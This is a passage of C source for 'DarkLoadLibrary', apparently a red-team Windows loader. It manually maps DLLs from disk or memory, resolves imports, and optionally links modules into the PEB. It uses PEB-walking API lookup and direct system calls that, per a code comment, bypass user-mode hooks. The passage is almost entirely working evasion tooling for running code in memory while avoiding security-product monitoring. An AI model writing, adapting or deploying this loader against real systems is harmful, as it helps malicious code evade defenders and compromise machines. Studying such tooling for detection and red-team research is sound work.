304 | ULONG_PTR ActiveProcessAffinityMask;
305 | GDI_HANDLE_BUFFER GdiHandleBuffer;
306 | PVOID PostProcessInitRoutine;
307 |
308 | PVOID TlsExpansionBitmap;
309 | ULONG TlsExpansionBitmapBits[32];
310 |
311 | ULONG SessionId;
312 |
313 | ULARGE_INTEGER AppCompatFlags;
314 | ULARGE_INTEGER AppCompatFlagsUser;
315 | PVOID pShimData;
316 | PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
317 |
318 | UNICODE_STRING CSDVersion;
319 |
320 | PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
321 | PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
322 | PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
323 | PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
324 |
325 | SIZE_T MinimumStackCommit;
326 |
327 | PVOID SparePointers[4]; // 19H1 (previously FlsCallback to FlsHighIndex)
328 | ULONG SpareUlongs[5]; // 19H1
329 | //PVOID* FlsCallback;
330 | //LIST_ENTRY FlsListHead;
331 | //PVOID FlsBitmap;
332 | //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
333 | //ULONG FlsHighIndex;
334 |
335 | PVOID WerRegistrationData;
336 | PVOID WerShipAssertPtr;
337 | PVOID pUnused; // pContextData
338 | PVOID pImageHeaderHash;
339 | union
340 | {
341 | ULONG TracingFlags;
342 | struct
343 | {
344 | ULONG HeapTracingEnabled : 1;
345 | ULONG CritSecTracingEnabled : 1;
346 | ULONG LibLoaderTracingEnabled : 1;
347 | ULONG SpareTracingBits : 29;
348 | };
349 | };
350 | ULONGLONG CsrServerReadOnlySharedMemoryBase;
351 | PRTL_CRITICAL_SECTION TppWorkerpListLock;
352 | LIST_ENTRY TppWorkerpList;
353 | PVOID WaitOnAddressHashTable[128];
354 | PVOID TelemetryCoverageHeader; // REDSTONE3
355 | ULONG CloudFileFlags;
356 | ULONG CloudFileDiagFlags; // REDSTONE4
357 | CHAR PlaceholderCompatibilityMode;
358 | CHAR PlaceholderCompatibilityModeReserved[7];
359 | struct _LEAP_SECOND_DATA *LeapSecondData; // REDSTONE5
360 | union
361 | {
362 | ULONG LeapSecondFlags;
363 | struct
364 | {
365 | ULONG SixtySecondEnabled : 1;
366 | ULONG Reserved : 31;
367 | };
368 | };
369 | ULONG NtGlobalFlag2;
370 | } PEB2, *PPEB2;
371 |
372 | typedef struct _RTL_RB_TREE {
373 | PRTL_BALANCED_NODE Root;
374 | PRTL_BALANCED_NODE Min;
375 | } RTL_RB_TREE, * PRTL_RB_TREE;
--------------------------------------------------------------------------------
/DarkLoadLibrary/include/pebutils.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "pebstructs.h"
5 | #include "darkloadlibrary.h"
6 |
7 | #define FILL_STRING(string, buffer) \
8 | string.Length = (USHORT)strlen(buffer); \
9 | string.MaximumLength = string.Length; \
10 | string.Buffer = buffer
11 |
12 | typedef NTSTATUS(WINAPI* LDRGETPROCADDRESS)(HMODULE, PANSI_STRING, WORD, PVOID*);
13 | typedef VOID(WINAPI* RTLRBINSERTNODEEX)(_In_ PRTL_RB_TREE Tree, _In_opt_ PRTL_BALANCED_NODE Parent, _In_ BOOLEAN Right, _Out_ PRTL_BALANCED_NODE Node);
14 | typedef VOID(NTAPI* RTLINITUNICODESTRING)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
15 | typedef NTSTATUS(NTAPI* NTQUERYSYSTEMTIME)(PLARGE_INTEGER SystemTime);
16 | typedef NTSTATUS(NTAPI* RTLHASHUNICODESTRING)(UNICODE_STRING* String, BOOLEAN CaseInSensitive, ULONG HashAlgorithm, ULONG* HashValue);
17 | typedef SIZE_T(NTAPI* RTLCOMPAREMEMORY)(const VOID* Source1, const VOID* Source2, SIZE_T Length);
18 | typedef int(__cdecl* _WCSNICMP)(const wchar_t* _Str1, const wchar_t* _Str2, size_t _MaxCount);
19 | typedef int(__cdecl* STRCMP)(const char* _Str1, const char* _Str2);
20 | typedef int(WINAPI *MULTIBYTETOWIDECHAR)(
21 | UINT CodePage,
22 | DWORD dwFlags,
23 | LPCCH lpMultiByteStr,
24 | int cbMultiByte,
25 | LPWSTR lpWideCharStr,
26 | int cchWideChar
27 | );
28 | typedef int(__cdecl* _WCSICMP)(const wchar_t* _Str1, const wchar_t* _Str2);
29 |
30 | #ifdef _WIN64
31 | #define PEB_OFFSET 0x60
32 | #define READ_MEMLOC __readgsqword
33 | #else
34 | #define PEB_OFFSET 0x30
35 | #define READ_MEMLOC __readfsdword
36 | #endif
37 |
38 | #pragma once
39 | #define RVA(type, base_addr, rva) (type)((ULONG_PTR) base_addr + rva)
40 | #define RtlInitializeListEntry(entry) ((entry)->Blink = (entry)->Flink = (entry))
41 |
42 | #define LDRP_IMAGE_DLL 0x00000004
43 | #define LDRP_ENTRY_INSERTED 0x00008000
44 | #define LDRP_ENTRY_PROCESSED 0x00004000
45 | #define LDRP_PROCESS_ATTACH_CALLED 0x00080000
46 |
47 | #define LDR_HASH_TABLE_ENTRIES 32
48 |
49 | NTSYSAPI NTSTATUS NTAPI RtlHashUnicodeString(__in PCUNICODE_STRING String, __in BOOLEAN CaseInSensitive, __in ULONG HashAlgorithm, __out PULONG HashValue);
50 | NTSYSAPI VOID NTAPI RtlRbInsertNodeEx(_In_ PRTL_RB_TREE Tree, _In_opt_ PRTL_BALANCED_NODE Parent, _In_ BOOLEAN Right, _Out_ PRTL_BALANCED_NODE Node);
51 |
52 | HMODULE IsModulePresent(LPCWSTR lpwName);
53 | HMODULE IsModulePresentA(char* Name);
54 | BOOL LinkModuleToPEB(PDARKMODULE pdModule);
55 | PVOID GetFunctionAddress(HMODULE hModule, char* ProcName);
56 | BOOL LocalLdrGetProcedureAddress(HMODULE hLibrary, PANSI_STRING ProcName, WORD Ordinal, PVOID* FunctionAddress);
57 | BOOL _LocalLdrGetProcedureAddress(HMODULE hLibrary, PANSI_STRING ProcName, WORD Ordinal, PVOID* FunctionAddress);
--------------------------------------------------------------------------------
/DarkLoadLibrary/include/syscalls.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Code below is adapted from @modexpblog. Read linked article for more details.
4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
5 |
6 | #ifndef SW2_HEADER_H_
7 | #define SW2_HEADER_H_
8 |
9 | #include
10 |
11 | #define SW2_SEED 0x63191199
12 | #define SW2_ROL8(v) (v << 8 | v >> 24)
13 | #define SW2_ROR8(v) (v >> 8 | v << 24)
14 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
15 | #define SW2_MAX_ENTRIES 500
16 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
17 |
18 | // Typedefs are prefixed to avoid pollution.
19 |
20 | typedef struct _SW2_SYSCALL_ENTRY
21 | {
22 | DWORD Hash;
23 | DWORD Address;
24 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
25 |
26 | typedef struct _SW2_SYSCALL_LIST
27 | {
28 | DWORD Count;
29 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
30 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
31 |
32 | typedef struct _SW2_PEB_LDR_DATA {
33 | BYTE Reserved1[8];
34 | PVOID Reserved2[3];
35 | LIST_ENTRY InMemoryOrderModuleList;
36 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
37 |
38 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
39 | PVOID Reserved1[2];
40 | LIST_ENTRY InMemoryOrderLinks;
41 | PVOID Reserved2[2];
42 | PVOID DllBase;
43 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
44 |
45 | typedef struct _SW2_PEB {
46 | BYTE Reserved1[2];
47 | BYTE BeingDebugged;
48 | BYTE Reserved2[1];
49 | PVOID Reserved3[2];
50 | PSW2_PEB_LDR_DATA Ldr;
51 | } SW2_PEB, *PSW2_PEB;
52 |
53 | DWORD SW2_HashSyscall(PCSTR FunctionName);
54 | BOOL SW2_PopulateSyscallList();
55 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
56 |
57 | EXTERN_C NTSTATUS NtProtectVirtualMemory(
58 | IN HANDLE ProcessHandle,
59 | IN OUT PVOID * BaseAddress,
60 | IN OUT PSIZE_T RegionSize,
61 | IN ULONG NewProtect,
62 | OUT PULONG OldProtect);
63 |
64 | EXTERN_C NTSTATUS NtAllocateVirtualMemory(
65 | IN HANDLE ProcessHandle,
66 | IN OUT PVOID * BaseAddress,
67 | IN ULONG ZeroBits,
68 | IN OUT PSIZE_T RegionSize,
69 | IN ULONG AllocationType,
70 | IN ULONG Protect);
71 |
72 | #endif
73 |
--------------------------------------------------------------------------------
/DarkLoadLibrary/src/darkloadlibrary.c:
--------------------------------------------------------------------------------
1 | #include "darkloadlibrary.h"
2 | #include "ldrutils.h"
3 |
4 | SIZE_T WideStringLength(LPWSTR str)
5 | {
6 | SIZE_T len = 0;
7 | SIZE_T i = 0;
8 |
9 | while (str[i++])
10 | ++len;
11 |
12 | return len;
13 | }
14 |
15 | BOOL WideStringCompare(LPWSTR lpwStr1, LPWSTR lpwStr2, SIZE_T cbMaxCount)
16 | {
17 | BOOL match = TRUE;
18 |
19 | for (SIZE_T i = 0; i < cbMaxCount; i++)
20 | {
21 | WCHAR a, b;
22 | a = lpwStr1[i];
23 | b = lpwStr2[i];
24 | if (a >= 'A' && a <= 'Z')
25 | a += 32;
26 | if (b >= 'A' && b <= 'Z')
27 | b += 32;
28 | if (a != b)
29 | {
30 | match = FALSE;
31 | break;
32 | }
33 | }
34 |
35 | return match;
36 | }
37 |
38 | BOOL ParseFileName(
39 | PDARKMODULE pdModule,
40 | LPWSTR lpwFileName
41 | )
42 | {
43 | HEAPALLOC pHeapAlloc = (HEAPALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapAlloc");
44 | GETPROCESSHEAP pGetProcessHeap = (GETPROCESSHEAP)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetProcessHeap");
45 | PATHFINDFILENAMEW pPathFindFileNameW = (PATHFINDFILENAMEW)GetFunctionAddress(IsModulePresent(L"Shlwapi.dll"), "PathFindFileNameW");
46 |
47 | if (lpwFileName == NULL)
48 | {
49 | pdModule->ErrorMsg = L"Invalid filename";
50 | return FALSE;
51 | }
52 |
53 | pdModule->LocalDLLName = lpwFileName;
54 |
55 | HANDLE hHeap = pGetProcessHeap();
56 | if (!hHeap)
57 | {
58 | pdModule->ErrorMsg = L"Failed to find valid heap";
59 | return FALSE;
60 | }
61 |
62 | pdModule->CrackedDLLName = (PWCHAR)pHeapAlloc(
63 | hHeap,
64 | HEAP_ZERO_MEMORY,
65 | MAX_PATH * 2
66 | );
67 |
68 | if (!pdModule->CrackedDLLName)
69 | {
70 | pdModule->ErrorMsg = L"Failed to allocate memory";
71 | return FALSE;
72 | }
73 |
74 | LPWSTR lpwFileNameLocation = pPathFindFileNameW(lpwFileName);
75 |
76 | /*
77 | Copy the length of the filename modulo sizeof pdModule->CrackedDLLName - 1 for null byte.
78 |
79 | TODO:
80 | Get a working wstrcpy implementation
81 | */
82 | memcpy(pdModule->CrackedDLLName, lpwFileNameLocation, (WideStringLength(lpwFileNameLocation) % (MAX_PATH - 1)) * 2);
83 |
84 | return TRUE;
85 | }
86 |
87 | BOOL ReadFileToBuffer(
88 | PDARKMODULE pdModule
89 | )
90 | {
91 | HEAPALLOC pHeapAlloc = (HEAPALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapAlloc");
92 | CREATEFILEW pCreateFileW = (CREATEFILEW)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "CreateFileW");
93 | VIRTUALALLOC pVirtualAlloc = (VIRTUALALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "VirtualAlloc");
94 | GETFILESIZE pGetFileSize = (GETFILESIZE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetFileSize");
95 | READFILE pReadFile = (READFILE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "ReadFile");
96 | CLOSEHANDLE pCloseHandle = (CLOSEHANDLE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "CloseHandle");
97 |
98 | HANDLE hFile = pCreateFileW(
99 | pdModule->LocalDLLName,
100 | GENERIC_READ,
101 | FILE_SHARE_READ | FILE_SHARE_WRITE,
102 | NULL,
103 | OPEN_EXISTING,
104 | 0,
105 | NULL
106 | );
107 |
108 | if (hFile == INVALID_HANDLE_VALUE)
109 | {
110 | pdModule->ErrorMsg = L"Failed to open local DLL file";
111 | return FALSE;
112 | }
113 |
114 | DWORD dwSize = pGetFileSize(
115 | hFile,
116 | NULL
117 | );
118 |
119 | if (dwSize == INVALID_FILE_SIZE)
120 | {
121 | pdModule->ErrorMsg = L"Failed to get DLL file size";
122 | pCloseHandle(hFile);
123 | return FALSE;
124 | }
125 |
126 | pdModule->pbDllData = pVirtualAlloc(
127 | NULL,
128 | dwSize,
129 | MEM_COMMIT | MEM_RESERVE,
130 | PAGE_READWRITE
131 | );
132 |
133 | if (pdModule->pbDllData == NULL)
134 | {
135 | pdModule->ErrorMsg = L"Failed to allocate memory for DLL data";
136 | pCloseHandle(hFile);
137 | return FALSE;
138 | }
139 |
140 | if (!pReadFile(
141 | hFile,
142 | pdModule->pbDllData,
143 | dwSize,
144 | &pdModule->dwDllDataLen,
145 | NULL))
146 | {
147 | pdModule->ErrorMsg = L"Failed to read data from DLL file";
148 | pCloseHandle(hFile);
149 | // TODO: need to Free buffer on error: e.g. pVirtualFree(pdModule->pbDllData);
150 |
151 | return FALSE;
152 | }
153 |
154 | if (!pCloseHandle(hFile))
155 | {
156 | pdModule->ErrorMsg = L"Failed to close handle on DLL file";
157 | return FALSE;
158 | }
159 |
160 | return TRUE;
161 | }
162 |
163 | PDARKMODULE DarkLoadLibrary(
164 | DWORD dwFlags,
165 | LPCWSTR lpwBuffer,
166 | LPVOID lpFileBuffer,
167 | DWORD dwLen,
168 | LPCWSTR lpwName
169 | )
170 | {
171 | HEAPALLOC pHeapAlloc = (HEAPALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapAlloc");
172 | GETPROCESSHEAP pGetProcessHeap = (GETPROCESSHEAP)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetProcessHeap");
173 |
174 | /*
175 | TODO:
176 | I would really love to stop using error messages that need this.
177 | All the other safe versions of wsprintfW are located in the CRT,
178 | which is an issue if there is no CRT in the process.
179 |
180 | For now let us hope nobody will pass a name larger than 500 bytes. :/
181 | */
182 | WSPRINTFW pwsprintfW = (WSPRINTFW)GetFunctionAddress(IsModulePresent(L"User32.dll"), "wsprintfW");
183 |
184 | PDARKMODULE dModule = (DARKMODULE*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(DARKMODULE));
185 | if (!dModule)
186 | return NULL;
187 |
188 | dModule->bSuccess = FALSE;
189 | dModule->bLinkedToPeb = TRUE;
190 |
191 | // get the DLL data into memory, whatever the format it's in
192 | switch (LOWORD(dwFlags))
193 | {
194 | case LOAD_LOCAL_FILE:
195 | if (!ParseFileName(dModule, lpwBuffer) || !ReadFileToBuffer(dModule))
196 | {
197 | goto Cleanup;
198 | }
199 | break;
200 |
201 | case LOAD_MEMORY:
202 | dModule->dwDllDataLen = dwLen;
203 | dModule->pbDllData = lpFileBuffer;
204 |
205 | /*
206 | This is probably a hack for the greater scheme but lol
207 | */
208 | dModule->CrackedDLLName = lpwName;
209 | dModule->LocalDLLName = lpwName;
210 |
211 | if (lpwName == NULL)
212 | goto Cleanup;
213 |
214 | break;
215 |
216 | default:
217 | break;
218 | }
219 |
220 | if (dwFlags & NO_LINK)
221 | dModule->bLinkedToPeb = FALSE;
222 |
223 | // is there a module with the same name already loaded
224 | if (lpwName == NULL)
225 | {
226 | lpwName = dModule->CrackedDLLName;
227 | }
228 |
229 | HMODULE hModule = IsModulePresent(lpwName);
230 |
231 | if (hModule != NULL)
232 | {
233 | dModule->ModuleBase = (ULONG_PTR)hModule;
234 | dModule->bSuccess = TRUE;
235 |
236 | goto Cleanup;
237 | }
238 |
239 | // make sure the PE we are about to load is valid
240 | if (!IsValidPE(dModule->pbDllData))
241 | {
242 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500);
243 | if (!dModule->ErrorMsg)
244 | goto Cleanup;
245 |
246 | pwsprintfW(dModule->ErrorMsg, TEXT("Data is an invalid PE: %s"), lpwName);
247 | goto Cleanup;
248 | }
249 |
250 | // map the sections into memory
251 | if (!MapSections(dModule))
252 | {
253 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500);
254 | if (!dModule->ErrorMsg)
255 | goto Cleanup;
256 |
257 | pwsprintfW(dModule->ErrorMsg, TEXT("Failed to map sections: %s"), lpwName);
258 | goto Cleanup;
259 | }
260 |
261 | // handle the import tables
262 | if (!ResolveImports(dModule))
263 | {
264 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500);
265 | if (!dModule->ErrorMsg)
266 | goto Cleanup;
267 |
268 | pwsprintfW(dModule->ErrorMsg, TEXT("Failed to resolve imports: %s"), lpwName);
269 | goto Cleanup;
270 | }
271 |
272 | // link the module to the PEB
273 | if (dModule->bLinkedToPeb)
274 | {
275 | if (!LinkModuleToPEB(dModule))
276 | {
277 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500);
278 | if (!dModule->ErrorMsg)
279 | goto Cleanup;
280 |
281 | pwsprintfW(dModule->ErrorMsg, TEXT("Failed to link module to PEB: %s"), lpwName);
282 | goto Cleanup;
283 | }
284 | }
285 |
286 | // trigger tls callbacks, set permissions and call the entry point
287 | if (!BeginExecution(dModule))
288 | {
289 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500);
290 | if (!dModule->ErrorMsg)
291 | goto Cleanup;
292 |
293 | pwsprintfW(dModule->ErrorMsg, TEXT("Failed to execute: %s"), lpwName);
294 | goto Cleanup;
295 | }
296 |
297 | dModule->bSuccess = TRUE;
298 |
299 | goto Cleanup;
300 |
301 | Cleanup:
302 | return dModule;
303 | }
304 |
305 | BOOL ConcealLibrary(
306 | PDARKMODULE pdModule,
307 | BOOL bConceal
308 | )
309 | {
310 | // TODO: reimplement this function, so it is better
311 |
312 | pdModule->ErrorMsg = L"Not implemented yet, sorry";
313 |
314 | return FALSE;
315 | }
316 |
--------------------------------------------------------------------------------
/DarkLoadLibrary/src/ldrutils.c:
--------------------------------------------------------------------------------
1 | #include "ldrutils.h"
2 | #if _M_X64
3 | #include "syscalls.h"
4 | #endif
5 |
6 | BOOL IsValidPE(
7 | PBYTE pbData
8 | )
9 | {
10 | PIMAGE_NT_HEADERS pNtHeaders;
11 |
12 | pNtHeaders = RVA(
13 | PIMAGE_NT_HEADERS,
14 | pbData,
15 | ((PIMAGE_DOS_HEADER)pbData)->e_lfanew
16 | );
17 |
18 | if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
19 | {
20 | return FALSE;
21 | }
22 |
23 | return TRUE;
24 | }
25 |
26 | BOOL MapSections(
27 | PDARKMODULE pdModule
28 | )
29 | {
30 | PIMAGE_NT_HEADERS pNtHeaders;
31 | PIMAGE_DATA_DIRECTORY pDataDir;
32 | PIMAGE_BASE_RELOCATION pRelocation;
33 | PIMAGE_SECTION_HEADER pSectionHeader;
34 |
35 | VIRTUALALLOC pVirtualAlloc = (VIRTUALALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "VirtualAlloc");
36 |
37 | pNtHeaders = RVA(
38 | PIMAGE_NT_HEADERS,
39 | pdModule->pbDllData,
40 | ((PIMAGE_DOS_HEADER)pdModule->pbDllData)->e_lfanew
41 | );
42 |
43 | // try get prefered address
44 | #if _M_X64
45 | pdModule->ModuleBase = pNtHeaders->OptionalHeader.ImageBase;
46 | SIZE_T RegionSize = pNtHeaders->OptionalHeader.SizeOfImage;
47 | NTSTATUS status = NtAllocateVirtualMemory(
48 | (HANDLE)-1,
49 | (PVOID)&pdModule->ModuleBase,
50 | 0,
51 | &RegionSize,
52 | MEM_RESERVE | MEM_COMMIT,
53 | PAGE_READWRITE
54 | );
55 | if (!NT_SUCCESS(status) || pdModule->ModuleBase != pNtHeaders->OptionalHeader.ImageBase)
56 | {
57 | pdModule->ModuleBase = 0;
58 | RegionSize = pNtHeaders->OptionalHeader.SizeOfImage;
59 | status = NtAllocateVirtualMemory(
60 | (HANDLE)-1,
61 | (PVOID)&pdModule->ModuleBase,
62 | 0,
63 | &RegionSize,
64 | MEM_RESERVE | MEM_COMMIT,
65 | PAGE_READWRITE
66 | );
67 | }
68 | if (!NT_SUCCESS(status))
69 | {
70 | return FALSE;
71 | }
72 | #else
73 | pdModule->ModuleBase = (ULONG_PTR)pVirtualAlloc(
74 | (LPVOID)(pNtHeaders->OptionalHeader.ImageBase),
75 | (SIZE_T)pNtHeaders->OptionalHeader.SizeOfImage,
76 | MEM_RESERVE | MEM_COMMIT,
77 | PAGE_READWRITE
78 | );
79 |
80 | if (!pdModule->ModuleBase)
81 | {
82 | pdModule->ModuleBase = (ULONG_PTR)pVirtualAlloc(
83 | 0,
84 | (SIZE_T)pNtHeaders->OptionalHeader.SizeOfImage,
85 | MEM_RESERVE | MEM_COMMIT,
86 | PAGE_READWRITE
87 | );
88 | }
89 |
90 | if (!pdModule->ModuleBase)
91 | {
92 | return FALSE;
93 | }
94 | #endif
95 | // copy across the headers
96 | for (DWORD i = 0; i < pNtHeaders->OptionalHeader.SizeOfHeaders; i++)
97 | {
98 | ((PBYTE)pdModule->ModuleBase)[i] = ((PBYTE)pdModule->pbDllData)[i];
99 | }
100 |
101 | // copy across the sections
102 | pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
103 |
104 | for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++)
105 | {
106 | for (DWORD j = 0; j < pSectionHeader->SizeOfRawData; j++)
107 | {
108 | ((PBYTE)(pdModule->ModuleBase + pSectionHeader->VirtualAddress))[j] = ((PBYTE)(pdModule->pbDllData + pSectionHeader->PointerToRawData))[j];
109 | }
110 | }
111 |
112 | // if we havent got our prefered base address, relocate
113 | ULONG_PTR pulBaseOffset = pdModule->ModuleBase - pNtHeaders->OptionalHeader.ImageBase;
114 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
115 |
116 | if ((pdModule->ModuleBase - pNtHeaders->OptionalHeader.ImageBase) && pDataDir)
117 | {
118 | pRelocation = RVA(
119 | PIMAGE_BASE_RELOCATION,
120 | pdModule->ModuleBase,
121 | pDataDir->VirtualAddress
122 | );
123 |
124 | do
125 | {
126 | PIMAGE_RELOC pRelocList = (PIMAGE_RELOC)(pRelocation + 1);
127 |
128 | do
129 | {
130 | if (pRelocList->type == IMAGE_REL_BASED_DIR64)
131 | {
132 | *(PULONG_PTR)((PBYTE)pdModule->ModuleBase + pRelocation->VirtualAddress + pRelocList->offset) += pulBaseOffset;
133 | }
134 | else if (pRelocList->type == IMAGE_REL_BASED_HIGHLOW)
135 | {
136 | *(PULONG_PTR)((PBYTE)pdModule->ModuleBase + pRelocation->VirtualAddress + pRelocList->offset) += (DWORD)pulBaseOffset;
137 | }
138 | else if (pRelocList->type == IMAGE_REL_BASED_HIGH)
139 | {
140 | *(PULONG_PTR)((PBYTE)pdModule->ModuleBase + pRelocation->VirtualAddress + pRelocList->offset) += HIWORD(pulBaseOffset);
141 | }
142 | else if (pRelocList->type == IMAGE_REL_BASED_LOW)
143 | {
144 | *(PULONG_PTR)((PBYTE)pdModule->ModuleBase + pRelocation->VirtualAddress + pRelocList->offset) += LOWORD(pulBaseOffset);
145 | }
146 |
147 | pRelocList++;
148 |
149 | } while ((PBYTE)pRelocList != (PBYTE)pRelocation + pRelocation->SizeOfBlock);
150 |
151 | pRelocation = (PIMAGE_BASE_RELOCATION)pRelocList;
152 |
153 | } while (pRelocation->VirtualAddress);
154 | }
155 | pNtHeaders->OptionalHeader.ImageBase = pdModule->ModuleBase; // set the prefered base to the real base
156 |
157 | return TRUE;
158 | }
159 |
160 | BOOL ResolveImports(
161 | PDARKMODULE pdModule
162 | )
163 | {
164 | PIMAGE_NT_HEADERS pNtHeaders;
165 | PIMAGE_DATA_DIRECTORY pDataDir;
166 | PIMAGE_IMPORT_BY_NAME pImportByName;
167 | PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
168 | PIMAGE_DELAYLOAD_DESCRIPTOR pDelayDesc;
169 | PIMAGE_THUNK_DATA pFirstThunk, pOrigFirstThunk;
170 | BOOL ok;
171 |
172 | LOADLIBRARYA pLoadLibraryA = (LOADLIBRARYA)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "LoadLibraryA");
173 |
174 | STRING aString = { 0 };
175 |
176 | pNtHeaders = RVA(
177 | PIMAGE_NT_HEADERS,
178 | pdModule->pbDllData,
179 | ((PIMAGE_DOS_HEADER)pdModule->pbDllData)->e_lfanew
180 | );
181 |
182 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
183 |
184 | // handle the import table
185 | if (pDataDir->Size)
186 | {
187 | pImportDesc = RVA(
188 | PIMAGE_IMPORT_DESCRIPTOR,
189 | pdModule->ModuleBase,
190 | pDataDir->VirtualAddress
191 | );
192 |
193 | DWORD dwImportCount = 0;
194 |
195 | for (; pImportDesc->Name; pImportDesc++)
196 | {
197 | dwImportCount++;
198 | }
199 |
200 | pImportDesc = RVA(
201 | PIMAGE_IMPORT_DESCRIPTOR,
202 | pdModule->ModuleBase,
203 | pDataDir->VirtualAddress
204 | );
205 |
206 | for (; pImportDesc->Name; pImportDesc++)
207 | {
208 | // use LoadLibraryA for the time being.
209 | // make this recursive in the future.
210 | HMODULE hLibrary = IsModulePresentA(
211 | (char*)(pdModule->ModuleBase + pImportDesc->Name)
212 | );
213 | if (hLibrary == NULL)
214 | {
215 | hLibrary = pLoadLibraryA(
216 | (LPSTR)(pdModule->ModuleBase + pImportDesc->Name)
217 | );
218 | }
219 |
220 | pFirstThunk = RVA(
221 | PIMAGE_THUNK_DATA,
222 | pdModule->ModuleBase,
223 | pImportDesc->FirstThunk
224 | );
225 |
226 | pOrigFirstThunk = RVA(
227 | PIMAGE_THUNK_DATA,
228 | pdModule->ModuleBase,
229 | pImportDesc->OriginalFirstThunk
230 | );
231 |
232 | for (; pOrigFirstThunk->u1.Function; pFirstThunk++, pOrigFirstThunk++)
233 | {
234 | if (IMAGE_SNAP_BY_ORDINAL(pOrigFirstThunk->u1.Ordinal))
235 | {
236 | ok = LocalLdrGetProcedureAddress(
237 | hLibrary,
238 | NULL,
239 | (WORD)pOrigFirstThunk->u1.Ordinal,
240 | (PVOID*)&(pFirstThunk->u1.Function)
241 | );
242 | if (!ok)
243 | return FALSE;
244 | }
245 | else
246 | {
247 | pImportByName = RVA(
248 | PIMAGE_IMPORT_BY_NAME,
249 | pdModule->ModuleBase,
250 | pOrigFirstThunk->u1.AddressOfData
251 | );
252 |
253 | FILL_STRING(
254 | aString,
255 | pImportByName->Name
256 | );
257 | ok = LocalLdrGetProcedureAddress(
258 | hLibrary,
259 | &aString,
260 | 0,
261 | (PVOID*)&(pFirstThunk->u1.Function)
262 | );
263 | if (!ok)
264 | return FALSE;
265 | }
266 | }
267 | }
268 | }
269 |
270 | // handle the delayed import table
271 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];
272 |
273 | if (pDataDir->Size)
274 | {
275 | pDelayDesc = RVA(
276 | PIMAGE_DELAYLOAD_DESCRIPTOR,
277 | pdModule->ModuleBase,
278 | pDataDir->VirtualAddress
279 | );
280 |
281 | for (; pDelayDesc->DllNameRVA; pDelayDesc++)
282 | {
283 | // use LoadLibraryA for the time being.
284 | // make this recursive in the future.
285 | HMODULE hLibrary = IsModulePresentA(
286 | (char*)(pdModule->ModuleBase + pDelayDesc->DllNameRVA)
287 | );
288 | if (hLibrary == NULL)
289 | {
290 | hLibrary = pLoadLibraryA(
291 | (LPSTR)(pdModule->ModuleBase + pDelayDesc->DllNameRVA)
292 | );
293 | }
294 |
295 | pFirstThunk = RVA(
296 | PIMAGE_THUNK_DATA,
297 | pdModule->ModuleBase,
298 | pDelayDesc->ImportAddressTableRVA
299 | );
300 |
301 | pOrigFirstThunk = RVA(
302 | PIMAGE_THUNK_DATA,
303 | pdModule->ModuleBase,
304 | pDelayDesc->ImportNameTableRVA
305 | );
306 |
307 | for (; pOrigFirstThunk->u1.Function; pFirstThunk++, pOrigFirstThunk++)
308 | {
309 | if (IMAGE_SNAP_BY_ORDINAL(pOrigFirstThunk->u1.Ordinal))
310 | {
311 | ok = LocalLdrGetProcedureAddress(
312 | hLibrary,
313 | NULL,
314 | (WORD)pOrigFirstThunk->u1.Ordinal,
315 | (PVOID*)&(pFirstThunk->u1.Function)
316 | );
317 | if (!ok)
318 | return FALSE;
319 | }
320 | else
321 | {
322 | pImportByName = RVA(
